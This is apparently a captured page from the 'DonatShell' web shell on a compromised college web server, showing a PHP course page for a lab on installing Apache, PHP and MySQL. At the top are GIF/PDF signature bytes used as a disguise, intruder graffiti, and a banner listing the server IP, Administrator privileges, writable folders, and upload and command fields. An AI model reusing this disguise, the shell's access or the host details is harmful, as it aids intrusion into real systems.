GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/nginx/html/MichaelMalz/CST2608/_Archive/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/nginx/html/MichaelMalz/CST2608/_Archive/Lab08.php
<?
// Lab08.php

$TRACK = "<b>".basename(__FILE__).'</b> <span class="pv_fl">('.__FILE__.")</span>\n<ol>\n";
ini_set('include_path',ini_get('include_path').PATH_SEPARATOR.$_SERVER['DOCUMENT_ROOT']."/"); // Add the DOCUMENT_ROOT to the include_path.
$thisFile=__FILE__; $thisLine=__LINE__; include('application.phpinc');
$thisFile=__FILE__; $thisLine=__LINE__; include('Course/courseInfo.phpinc');
$thisFile=__FILE__; $thisLine=__LINE__; include('classInfo.phpinc');

$assignmentNumber = 8;
$assignmentType = "Lab";
$assignmentTitle = "Web server setup";
$evaluationType = "Lab";
$evaluationTitle = $assignmentTitle;
if (strlen($assignmentNumber) == 1) { $assignmentName = $assignmentType."0".$assignmentNumber; $evaluationName = $evaluationType."0".$assignmentNumber; } else { 
$assignmentName = $assignmentType.$assignmentNumber; $evaluationName = $evaluationType.$assignmentNumber; }
if ($evaluationTitle != '') $evaluationTitle = ' - '.$evaluationTitle;

$title = $assignmentType." ".$assignmentNumber.": ".$assignmentTitle;
$headTitle = '_CST_ - '.$courseNumber.' '.$courseTitle.' - '.$title;
$pageTitle = $courseNumber.' '.$courseTitle.'<br>'.$title;
$pageMenu = 'Course/courseMenu.phpinc';
$smallTitle = true;
$js='openCenteredWindow';
$thisFile = __FILE__; $thisLine=__LINE__; include('common/pageHeader.phpinc');
$f_uId = formValue('uId'); if ( $f_uId ) { $userId = $f_uId; $userFullName = str_replace(" ","",username($userId)); } else { $userFullName = str_replace(" ","",$_SESSION['userFullName']); $userId = $_SESSION['userId']; }
$sectionTitle = $courseNumber.' '.$courseTitle.' - '.$title.' - '.username($userId);
$thisFile = __FILE__; $thisLine=__LINE__; include('common/sectionHeader.phpinc');
?>
<fieldset><legend>Description</legend>
Setup a Web server and SquirrelMail web  based email.
</fieldset>

<p>
<fieldset><legend>Lab Instruction</legend>
<ol start="1">
  <li>Install a Web server.
  	<ol type="a">
    	<li>Update your server.
      	<br><kbd>sudo apt-get update</kbd>
      </li>
      <li>Install apache2, php5, and mysql.
      	<br><kbd>sudo apt-get install apache2 php5-mysql libapache2-mod-php5 mysql-server</kbd>
      </li>
      <li>Restart Apache.
      	<br><kbd>sudo /etc/init.d/apache2 restart</kbd>
      </li>
      <li>Test your installation.
      	<br>Open a brower and enter your server name in the location (mine was <code>usjim.ubuntu.loc</code>.
      </li>
      <li>Edit the index.html file and add your name and the link to phpinfo.php.
      	<br><kbd>sudo gedit /var/www/index.html</kbd>
        <br>An example is:
        <pre class="code">&lt;html>
&lt;head>
	&lt;title><?=$_SESSION['userFullName']?>'s Website&lt;/title>
&lt;/head>
&lt;body>
&lt;h1>It works for <?=$_SESSION['userFullName']?>!&lt;/h1>
&lt;p>
Test PHP by loading the &lt;a href="phpinfo.php">phpinfo.php&lt;/a> page.
&lt;/body>
&lt;/html></pre>
      </li>
      <li>Create the phpinfo.php file.
      	<br><kbd>sudo gedit /var/www/phpinfo.php</kbd>
        <br>Enter the following:
        <pre class="code">&lt;?php
phpinfo();
?>
</pre>
      </li>
    </ol> 
  </li>
	<li>
  </li>
  <li>
    Take a screenshot of the homepage (after reloading) and save it as <b style="white-space:nowrap;"><?=$courseNumber?>-<?=$evaluationName?>a-<?=$userFullName?>.png</b>.
    <br />An example screenshot:
    <br /><img src="Labs/Lab08/images/CST2608-Lab08a-JimMartinson.png">
  </li>
  <li>
    Click on the phpinfo.php link, take a screenshot and save it as <b style="white-space:nowrap;"><?=$courseNumber?>-<?=$evaluationName?>b-<?=$userFullName?>.png</b>.
    <br />An example screenshot:
    <br /><img src="Labs/Lab08/images/CST2608-Lab08b-JimMartinson.png">
  </li>
  <li>
    <a href="mailto:jim.martinson@ridgewater.edu?subject=<?=$courseNumber?> <?=$evaluationName?> Submission">Send an email</a> to jim.martinson@ridgewater.edu with a subject of <b style="white-space:nowrap"><?=$courseNumber?> <?=$evaluationName?> Submission</b> and attach the following files:
      <ol type="a">
      	<li><?=$courseNumber?>-<?=$evaluationName?>a-<?=$userFullName?>.png</li>
      	<li><?=$courseNumber?>-<?=$evaluationName?>b-<?=$userFullName?>.png</li>
      	<li>/etc/apache2/sites-available/default</li>
      	<li>/var/www/index.html</li>
      	<li>/var/www/phpinfo.php</li>
      </ol>
  </li>
</ol>
</fieldset>

<fieldset class="pio"><legend>Grading Criteria</legend>
Demonstrated assignment effectively: 10 points.
<br />
There are some things I expect. If they are incorrect you will lose the following:
<br />
Incorrect attachment file name: -1 pt.
<br />
Work submitted incorrectly: -1pt.
<br />
Incorrect subject in email: -1pt.
<br />
Second and subsequent submission of work for grading: -1pt.
<br />
Work submitted late: -1pt.
</fieldset>

<fieldset class="pio"><legend>Objectives</legend>
<ol class="obj pio" start="22">
	<!-- Week 11 22 Chapter 21 -->
	<li>Describe web hosting.</li>
	<li>Install and configure web hosting services such as Web Server, SSL, and database.</li>
	<li>Use web services.</li>
</ol>
</fieldset>

<fieldset><legend>Notes</legend>
See <a href="Lab08/Notes">Notes</a>.<br>
Here is a <a href="Labs/<?=$evaluationName?>/<?=$evaluationName?>.zip"><?=$evaluationName?>.zip</a> file with examples of what must be turned in as well as gedit and sudo scripts to help with the assignment.<br />
</fieldset>
<?
$thisFile=__FILE__; $thisLine=__LINE__; include('ReferencesResources.phpinc');
$thisFile = __FILE__; $thisLine=__LINE__; include('common/sectionFooter.phpinc');
$thisFile = __FILE__; $thisLine=__LINE__; include('common/pageFooter.phpinc');

?>

Anon7 - 2022
AnonSec Team